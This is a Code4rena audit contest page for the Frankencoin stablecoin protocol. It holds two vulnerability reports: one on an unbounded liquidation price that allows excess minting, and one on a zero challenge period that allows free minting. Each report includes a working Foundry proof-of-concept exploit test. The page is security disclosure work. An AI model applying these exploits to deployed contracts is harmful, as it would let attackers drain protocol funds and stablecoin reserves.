Platform: Code4rena
Start Date: 12/04/2023
Pot Size: $60,500 USDC
Total HM: 21
Participants: 199
Period: 7 days
Judge: hansfriese
Total Solo HM: 5
Id: 231
League: ETH
Rank: 90/199
Findings: 1
Award: $35.06
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
35.0635 USDC - $35.06
Minter can inflate
the price
(liquidation price) of a collateralized loan position to mint more Frankencoins tokens that what the collateral is worth
.
The mintInternal()
function in the Position Smart Contract
uses checkCollateral(collateral_, price);
to ensure the minter always has enough collateral during minting of Frankencoins
tokens.
function mintInternal(address target, uint256 amount, uint256 collateral_) internal { if (minted + amount > limit) revert LimitExceeded(); zchf.mint(target, amount, reserveContribution, calculateCurrentFee()); minted += amount; checkCollateral(collateral_, price); emitUpdate(); }
The checkCollateral(collateral_, price)
Function:
function checkCollateral(uint256 collateralReserve, uint256 atPrice) internal view { if (collateralReserve * atPrice < minted * ONE_DEC18) revert InsufficientCollateral(); }
As long as collateral_ * price
>= minted * ONE_DEC18
it will pass.
Thus price
can be inflated to mint more Frankencoin tokens than the provided collateral and allowing any stablecoins on the StablecoinBridge
Smart Contract to be drained by swapping the minted Frankencoin tokens.
function testPriceInflation() public { // open evil position writeTokenBalance(address(this), IERC20(zchf), OPENING_FEE); IERC20(zchf).approve(address(hub), OPENING_FEE); uint256 frank_bal = zchf.balanceOf(address(this)); require(frank_bal == OPENING_FEE); emit log_named_uint("[-] Initial Frankencoin Balance : ", frank_bal); address evl_pstn = hub.openPosition( address(collateral), // collateral address 0, // min collateral 1, // initial collateral of 1 100000000 * 10**18, // minting maximum 3 days, // initperiod seconds 30 days, // expiration seconds 0, // challenge seconds 0, // mintingFeePPM type(uint256).max, // liqPrice 0 // reservePPM ); emit log("[+] Opened Collateral Position with inflated price and collateral of 1"); emit log_named_uint("[!] Position Price: ", IPosition(evl_pstn).price()); emit log_named_uint("[!] Position collateral: ", IERC20(IPosition(evl_pstn).collateral()).balanceOf(evl_pstn)); frank_bal = zchf.balanceOf(address(this)); require(frank_bal == 0); emit log_named_uint("[-] Pre-Mint Frankencoin Balance : ", frank_bal); vm.warp(block.timestamp + 4 days); //Mint 10M Frankencoin tokens IPosition(evl_pstn).mint(address(this), 10000000 * 10**18); emit log("[+] Minted 10M Frankecoin Tokens"); // check Frankencoin minted frank_bal = zchf.balanceOf(address(this)); require(frank_bal > OPENING_FEE); emit log_named_uint("[-] Post-Mint Frankencoin Balance: ", frank_bal); }
Foundry
Add limit for how large price
can be set in the Position Smart Contract
.
#0 - c4-pre-sort
2023-04-22T15:21:15Z
0xA5DF marked the issue as duplicate of #973
#1 - c4-pre-sort
2023-04-24T18:44:25Z
0xA5DF marked the issue as duplicate of #458
#2 - c4-judge
2023-05-18T14:45:25Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
35.0635 USDC - $35.06
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L88 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L140 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252
Minter can open a collateralized loan position with challengePeriod
set to 0
. This not only prevents anyone from biding on challenges launched at the position
but also allows one to essentially mint Frankencoin tokens for free
by mint -> challenge -> end challenge
process.
The launchChallenge()
function in the MintingHub Smart Contract
sets the Challenge.end
value as block.timestamp + position.challengePeriod()
.
function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) { IPosition position = IPosition(_positionAddr); IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount); uint256 pos = challenges.length; challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0)); position.notifyChallengeStarted(_collateralAmount); emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos); return pos; }
Thus if position.challengePeriod()
is 0
, challenge.end
== block.timestamp
making any challenge launched on the position to have ended on creation.
This prevents anyone from biding on the challenge as the if (block.timestamp >= challenge.end) revert TooLate();
check on the bid()
function would always revert.
function bid(uint256 _challengeNumber, uint256 _bidAmountZCHF, uint256 expectedSize) external { Challenge storage challenge = challenges[_challengeNumber]; if (block.timestamp >= challenge.end) revert TooLate(); if (expectedSize != challenge.size) revert UnexpectedSize(); if (challenge.bid > 0) { zchf.transfer(challenge.bidder, challenge.bid); // return old bid } emit NewBid(_challengeNumber, _bidAmountZCHF, msg.sender); // ask position if the bid was high enough to avert the challenge if (challenge.position.tryAvertChallenge(challenge.size, _bidAmountZCHF)) { // bid was high enough, let bidder buy collateral from challenger zchf.transferFrom(msg.sender, challenge.challenger, _bidAmountZCHF); challenge.position.collateral().transfer(msg.sender, challenge.size); emit ChallengeAverted(address(challenge.position), _challengeNumber); delete challenges[_challengeNumber]; } else { // challenge is not averted, update bid if (_bidAmountZCHF < minBid(challenge)) revert BidTooLow(_bidAmountZCHF, minBid(challenge)); uint256 earliestEnd = block.timestamp + 30 minutes; if (earliestEnd >= challenge.end) { // bump remaining time like ebay does when last minute bids come in // An attacker trying to postpone the challenge forever must increase the bid by 0.5% // every 30 minutes, or double it every three days, making the attack hard to sustain // for a prolonged period of time. challenge.end = earliestEnd; } zchf.transferFrom(msg.sender, address(this), _bidAmountZCHF); challenge.bid = _bidAmountZCHF; challenge.bidder = msg.sender; } }
This can also be used to arbitrarily mint free Frankencoin tokens by:
[+] Open valid position with challengePeriod
set to 0
[+] After cooldown
[+] Add collateral to Position and mint Frankencoin tokens
[+] Launch Challenge on position, causing challenge to end on launch
[+] Trigger Successful Challenge-End and receive Position collateral
function testChallengePeriod() public { // open WETH Collateral Position with challengePeriod == 0 emit log("-------------[ Position Open ]------------"); writeTokenBalance(address(this), IERC20(zchf), OPENING_FEE); writeTokenBalance(address(this), IERC20(WETH), 2000 * 10**18); IERC20(zchf).approve(address(hub), OPENING_FEE); IERC20(address(WETH)).approve(address(hub), 2000 * 10**18); uint256 frank_bal = zchf.balanceOf(address(this)); require(frank_bal == OPENING_FEE); emit log_named_uint("[!] Initial Frankcoin Balance: ", frank_bal); emit log_named_uint("[!] Initial Collateral Balance : ", IERC20(WETH).balanceOf(address(this))); address weth_pstn = hub.openPosition( address(WETH), // collateral address 0, // min collateral 0, // initial collateral 10000000 * 10**18, // minting maximum 3 days, // initperiod seconds 30 days, // expiration seconds 0, // challenge period set to 0 30000, // mintingFeePPM 1600 * 10**18, // liqPrice 200000 // reservePPM ); emit log("[+] Opened WETH Collateral Position"); emit log_named_uint("[!] Position ChallengePeriod: ", IPosition(weth_pstn).challengePeriod()); vm.warp(block.timestamp + 4 days); // Transfer collateral to Position IERC20(WETH).transfer(weth_pstn, 1000 * 10**18); frank_bal = zchf.balanceOf(address(this)); require(frank_bal == 0); emit log_named_uint("[-] Pre-Mint Frankencoin Balance : ", frank_bal); emit log_named_uint("[-] Pre-Mint Collateral Balance : ", IERC20(WETH).balanceOf(address(this))); emit log_named_uint("[-] Pre-Mint Position Collateral : ", IERC20(WETH).balanceOf(weth_pstn)); emit log(""); //Mint 1M worth of Frankencoin tokens emit log("-------------[ Position Mint ]------------"); IPosition(weth_pstn).mint(address(this), 1000000 * 10**18); emit log("[+] Minted 1M worth of Frankecoin Tokens"); // check Frankencoin minted frank_bal = zchf.balanceOf(address(this)); require(frank_bal > OPENING_FEE); emit log_named_uint("[-] Post-Mint Frankencoin Balance: ", frank_bal); emit log(""); // Challenge Position emit log("-------------[ Position Challenge ]------------"); uint256 challenge_number = hub.launchChallenge(weth_pstn, 1000 * 10**18); emit log("[+] Launched challenge against position"); require(hub.isChallengeOpen(challenge_number) == false); emit log("[!] Challenge is ended on creation !!"); frank_bal = zchf.balanceOf(address(this)); emit log_named_uint("[-] Pre-End Frankencoin Balance : ", frank_bal); emit log_named_uint("[-] Pre-End Collateral Balance : ", IERC20(WETH).balanceOf(address(this))); emit log_named_uint("[-] Pre-End Position Collateral : ", IERC20(WETH).balanceOf(weth_pstn)); emit log(""); // Trigger successful Challenge End emit log("-------------[ Position Challenge End ]------------"); hub.end(challenge_number, false); emit log("[+] Launched challenge-end against position"); frank_bal = zchf.balanceOf(address(this)); emit log_named_uint("[-] Post-End Frankencoin Balance : ", frank_bal); emit log_named_uint("[-] Post-End Collateral Balance : ", IERC20(WETH).balanceOf(address(this))); emit log_named_uint("[-] Post-End Position Collateral : ", IERC20(WETH).balanceOf(weth_pstn)); }
https://1drv.ms/i/s!At_Y0hSzc8BZgRvcbO33DIJ8LxYx?e=Zv5ULv
Foundry
Add checks for Position Smart Contract challengePeriod
.
#0 - c4-pre-sort
2023-04-21T09:31:54Z
0xA5DF marked the issue as duplicate of #830
#1 - c4-pre-sort
2023-04-24T18:48:45Z
0xA5DF marked the issue as duplicate of #458
#2 - c4-judge
2023-05-18T14:45:22Z
hansfriese marked the issue as satisfactory